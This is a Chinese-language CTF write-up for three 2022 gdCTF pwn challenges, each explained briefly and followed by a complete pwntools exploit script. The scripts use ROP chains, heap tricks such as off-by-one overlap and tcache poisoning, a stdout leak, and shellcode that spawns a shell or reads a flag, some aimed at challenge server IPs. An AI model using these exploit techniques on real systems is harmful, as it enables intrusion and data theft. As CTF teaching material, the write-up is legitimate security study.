1355 字
7 分钟
阅读量 --
Hits
[2022gdCTF]jmp_rsp midpwn easyheap WP

jmp_rsp#

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/jmp_rsp.zip

解题思路#

直接一把梭,写入 ROP,在 bss 上写 shellcode 即可

EXP#

from pwn import *
import time
context.log_level='debug'
# io = process('./jmp_rsp')
io = remote('47.106.122.102', 44071)
elf = ELF('./jmp_rsp')
context.clear(arch='x86_64')
shell_code = asm(shellcraft.sh())
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410173
pop_rdx = 0x0000000000449395
vuln_buf = 0x00000006B9144
# gdb.attach(io)
p = 'a' * 0x88 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(vuln_buf) + p64(pop_rdx) + p64(0x50) + p64(elf.sym['read']) + p64(vuln_buf)
io.sendline(p)
time.sleep(2)
io.sendline(shell_code)
io.interactive()

midpwn#

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/midpwn.zip

解题思路#

逆向分析发现,开了沙箱,需要利用 orw 进行文件内容泄露

image-20220523085903003

通过逆向分析发现 edit 函数存在 off by one 的漏洞

image-20220523090433714

最后的思路就是,通过 off by one 修改下一个堆块的 size 位置,构造堆块堆叠,接下来主要控制 tacache bin 的 fd 指针构造任意位置分配读写。

能够实现任意位置读写之后,构造堆块进入 unsortedbin,泄露 main_arena 的地址,从而泄露 libc_base,通过偏移量算出 environ 的地址(libc 地址中存放着 environ 变量,中存放着栈地址),再次构造堆块,分配到 environ 上面,泄露栈地址,最后,malloc 执行的位置是在 add 函数,通过计算偏移修改 add 函数返回地址,写入 ROP。

有关 ROP 的构造,实验发现 mmap 只需要前 4 个参数为 addr、size、7、34 即可分配出一个可执行的目标地址。

故构造 ROP,分配一个 0x23330000 的地址作为写入 shellcode 的地址,最后调用read(0,0x23330000,0x50)写入 orw

def func(a, b, c, d):
pp = p64(pop_rdi) + p64(a)
pp += p64(pop_rsi) + p64(b)
pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
return pp
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
p += p64(0x23330000)

有关 ORW 的构造

context(arch='amd64')
sc = asm(shellcraft.open('./flag'))
sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))

完整 EXP#

from pwn import *
import time
context.log_level='debug'
# getIO = lambda : process(['./ld-2.31.so', './orz'], env={'LD_PRELOAD': './libc-2.31.so'})
getIO = lambda : remote('120.79.220.233', 45715)
sc = ''
io = getIO()
def add(size, content):
io.sendlineafter('Your choose which one?\n', '1')
io.sendlineafter('please input note size : ', str(size))
io.sendlineafter('please input your note.\n', content)
def add2(size, content):
io.sendlineafter('Your choose which one?\n', '1')
io.sendlineafter('please input note size : ', str(size))
io.sendafter('please input your note.\n', content)
def edit(idx, content):
io.sendlineafter('Your choose which one?\n', '2')
io.sendlineafter('please input note index.\n', str(idx))
io.sendlineafter('please input new note.\n', content)
def show(idx):
io.sendlineafter('Your choose which one?\n', '3')
io.sendlineafter('please input note index.\n', str(idx))
def delete(idx):
io.sendlineafter('Your choose which one?\n', '4')
io.sendlineafter('please input note index.\n', str(idx))
# gdb.attach(io)
stack_offset = 0x120
add(0x28, 'aaaa') # 0
for i in range(10):
add(0xb0, 'aaaaaa') # 1 ~ 10
for i in range(10):
delete(i)
for i in range(7):
add(0xb0, 'aaaaa')
add2(0xb0, 'a')
show(7)
libc_base = u64(io.recv(8)) - (0x7f3a3e885d61 - 0x7f3a3e699000 )
log.success('libc_base:'+hex(libc_base))
environ = 0x01EF600 + libc_base
log.success('environ:'+hex(environ))
add(0x28, 'aaaa') # 8
add(0xb0, 'aaaa') # 9
add(0x28, 'aaaa') # 11 vuln
add(0x28, 'aaaa') # 12 edit
add(0x28, 'aaaa') # 13
add(0x28, 'aaaa') # 14
add(0x28, 'aaaa') # 15
add(0x28, 'aaaa') # 16
edit(11,'a' *0x28+'\xc1')
delete(12)
add(0xb0, 'aaaaa')
add(0x28, 'aaaa') # 17
delete(17)
delete(13)
edit(12, 'a'*0x28+p64(0x31)+p64(environ-0x10))
add(0x28, 'aaaa') # 13
add2(0x28, 'a'*0x10) # 17
show(17)
io.recv(16)
stack_base = u64(io.recv(8)) # - 0x1f438
log.success('stack_base:'+hex(stack_base))
pop_rdi = 0x0000000000023b72 + libc_base
pop_rsi = libc_base + 0x000000000002604f
pop_rdx_rcx_rbx = libc_base + 0x00000000001025ad
def func(a, b, c, d):
pp = p64(pop_rdi) + p64(a)
pp += p64(pop_rsi) + p64(b)
pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
return pp
libc = ELF('./libc-2.31.so')
libc.address = libc_base
flag_path = '/home/pwn/flag\x00'
flag_path_addr = stack_base + 0x150
add(0x28, 'aaaa') # 18
add(0x28, 'aaaa') # 19
delete(19)
delete(18)
delete(13)
edit(12, 'a'*0x28+p64(0x31)+p64(flag_path_addr))
add(0x28, 'aaaa') # 13
add2(0x28, flag_path) # 18
edit(12, 'a'*0x28+p64(0xc1))
add(0xb0, 'aaaaa') # 19
delete(19)
delete(13)
add_ret = stack_base - stack_offset
edit(12, 'a'*0x28+p64(0xc1) + p64(add_ret))
add(0xb0, 'aaaa') # 13
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])
p += p64(0x23330000)
log.success('len:' + hex(len(p)))
add(0xb0, p)
context(arch='amd64')
if sc == '':
sc = asm(shellcraft.open('./flag'))
sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))
# gdb.attach(io)
time.sleep(0.2)
io.send(sc)
io.interactive()

easyheap#

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/easyheap.zip

解题思路#

主要漏洞在,v3 局部变量可能未初始化,可以提前布置栈帧,达到任意位置写入堆地址

image-20220524094853062

以及还有一个 backdoor 函数,可以堆上任意写 8 字节(虽然只有一次,但利用上边的漏洞可以无限次)

利用 house of orange,修改_IO_2_stdout_,泄露 libc_base,再次利用泄露 environ 地址,栈地址,heap 基址

之后利用修改 tcachebin 上的 fd 指针,参考 midpwn 的解法,修改 add 函数的返回地址,写入 orw ROP,获得 flag

Exp#

from pwn import *
import ctypes
import time
context(arch="amd64")
context.log_level = 'debug'
getIO = lambda:process(['./ld-2.31.so', './easyheap'], env={'LD_PRELOAD': './libc-2.31.so'})
io = getIO()
def add(size, cont):
io.sendlineafter('4.delete\n', '1')
io.sendlineafter('Size?\n', str(size))
io.sendafter('Context:\n', cont)
def add2(size, offset, cont):
pp = '1\x00'
pp += '\x00' * (12 - len(pp))
pp += p32(ctypes.c_uint32(offset).value)
io.sendafter('4.delete\n', pp)
io.sendlineafter('Size?\n', str(size))
io.sendlineafter('Context:\n', cont)
def add3(size, offset, cont):
pp = '1\x00'
pp += '\x00' * (12 - len(pp))
pp += p32(ctypes.c_uint32(offset).value)
io.sendafter('4.delete', pp)
io.sendlineafter('Size?', str(size))
io.sendafter('Context:', cont)
def edit(idx, cont):
io.sendlineafter('4.delete\n', '2')
io.sendlineafter('Idx?\n', str(idx))
io.sendlineafter('Context:\n', cont)
def edit2(idx, cont):
io.sendlineafter('4.delete', '2')
io.sendlineafter('Idx?', str(idx))
io.sendafter('Context:', cont)
def backdoor(size, offset, cont):
io.sendlineafter('4.delete\n', '666')
io.sendlineafter('Size?\n', str(size))
io.sendlineafter('Offset?\n', str(offset))
io.sendafter('Context:\n', cont)
def backdoor2(size, offset, cont):
io.sendlineafter('4.delete', '666')
io.sendlineafter('Size?', str(size))
io.sendlineafter('Offset?', str(offset))
io.sendafter('Context:', cont)
while 1:
fake_size = 0x061 + 0x1000*1
# add(,'aaaaa')
backdoor(0x18, 0x6b8, p64(fake_size))
add(0x2000, 'aaaaa')
add(0x20, 'a')
add(0x20, 'aaa')
add(0x20, 'aaa')
add(0x20, 'aaa')
add(0x20, 'aaa')
add(0x20, 'aaa')
add2(0x10, -10, 'aaa')
backdoor(0x18, -3080, '\xb0')
# backdoor(0x18, -32, '\xb0')
backdoor(0x18, -3616+6, p32(0x7))
stdout_in = 0x16a0
backdoor(0x18, 800, '\xa0\x16')
# add2(0x18, 0, 'aa')
flag = 0xfbad1800
# add2(0x18, )
add2(0x48, 1, 'aa')
try:
add2(0x48, 0, p64(flag)+p64(0)*3 + '\x08')
inp = io.recv(8,timeout=0.2)
if '1.add' in inp:
assert 1 == 2
stdin_addr = u64(inp)
log.success('stdin_addr:'+hex(stdin_addr))
break
except:
io.close()
io = getIO()
libc_base = stdin_addr - 0x1ee7f0
log.success('libc_base:'+hex(libc_base))
main_arena_96 = 0x1ecbe0 + libc_base
edit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))
heap_base = u64(io.recv(8)) -0x23010
log.success('heap_base:'+hex(heap_base))
environ = 0x228138 + libc_base # 偏移量可能不同
edit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))
log.success('environ:'+hex(environ))
stack_environ = u64(io.recv(8))
log.success('stack_environ:'+hex(stack_environ))
rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; ret
rax_1 = 0x00000000000cfb50 + libc_base # mov rax, 1 ; ret
rax_2 = 0x00000000000cfb60 + libc_base # mov rax, 2 ; ret
pop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; ret
pop_rsi = 0x000000000002604f + libc_base # pop rsi ; ret
xchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; ret
syscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile)
vuln_stack_tar = stack_environ - 0x138 + 0x20
backdoor2(0x18, -512, p64(vuln_stack_tar))
add3(0xf0-8, 1, 'aaaaaa')
# io.sendafter('4.delete', '1')
# io.sendlineafter('Size?', )
rop_tmp = [
pop_rdi, 0xadd,
pop_rsi, 0,
rax_2, syscall, # open
xchg_eax_edi, # eax -> edi fd
pop_rsi, 0xadd,
rax_0, syscall, # read
pop_rdi, 1,
rax_1, syscall # write
]
rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8
rop_tmp = flat(rop_tmp) + './flag\x00'
# gdb.attach(io)
add3(0xf0-8, 1, rop_tmp)
io.interactive()

其他#

赛后的补题,比赛没时间了(菜),本地记得新建./flag 文件

image-20220524095329685

[2022gdCTF]jmp_rsp midpwn easyheap WP
https://blog.csome.cc/p/2022gdCTF-pwn/
作者
Csome
发布于
2022-05-23
许可协议
CC BY-SA 3.0